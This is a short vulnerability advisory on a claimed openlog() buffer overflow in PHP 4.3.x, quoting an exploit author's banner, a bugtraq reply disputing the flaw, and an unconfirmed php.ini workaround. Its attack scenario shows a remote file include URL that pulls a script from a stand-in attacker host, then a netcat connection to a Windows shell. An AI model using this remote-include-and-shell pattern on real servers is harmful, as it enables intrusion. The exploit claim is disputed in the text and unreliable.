Description: PHP v4.3.x openlog() Vulnerability. Compromise: Possible remote buffer overflow in openlog(). Vulnerable Systems: PHP v4.3.1, v4.3.5, v4.3.x. Details: ---snip--- ############################################################################ ####### ################################## PUBLIC EXPLOIT ################################# ############################################################################ ####### ## PHP v4.3.x exploit by The Warlock [BhQ], http://go.to/biohazardhq ## ###################### mail:biohazardhq@yahoo.com ################### ############################################################################ ####### ################################## PUBLIC EXPLOIT ################################# ############################################################################ ####### *This "Proof of Concept" sploit is only for Win2k SP4 + PHP 4.3.5 on Apache 2.0.49* Sploit tested with Apache 2.0.49 + PHP 4.3.5 on a Win2K SP4. bugtraq says local exploit. This bug is reported a long long time ago for v4.3.1 bugs.php.net does not have any status that refers to this bug while reported. The bug is still alive in v4.3.5 and probably newer versions as well, CHANGELOG of versions to 4.3.7 does not mention the bugfix of openlog(); for more info : http://www.securityfocus.com/bid/7210 scenario : ---> http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 [versie 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\Program Files\Apache Group\Apache2> ---> Getting a shell is better then parsing commands to the weblog. mattmurphy@kc.rr.com wrote on bugtraq : >* Buffer overflow in openlog() > >I've tried passing long parameters (and large integers) to openlog(). No >crashes could be caused by this "exploit". I was unable to demonstrate any >disruption to PHP via this "vulnerability", let alone complete control. >Unless the vendor or the original reporter will confirm this with code >(which was, oddly enough, MISSING from the original advisory), I don't >believe this "flaw" (if it exists) can do any damage to a default >production system. ############################################################################ ####### ################################## PUBLIC EXPLOIT ################################# ############################################################################ ####### ############################################################################ ####### ################################## PUBLIC EXPLOIT ################################# ############################################################################ ####### ---snip--- Solution: The following unnofficial workaround has been suggested. Place the 'disable_functions = openlog' option into the php.ini configuration file. Solution has not been confirmed. Greetings, Jan van de Rijt aka The Warlock. http://members.home.nl/thewarlock/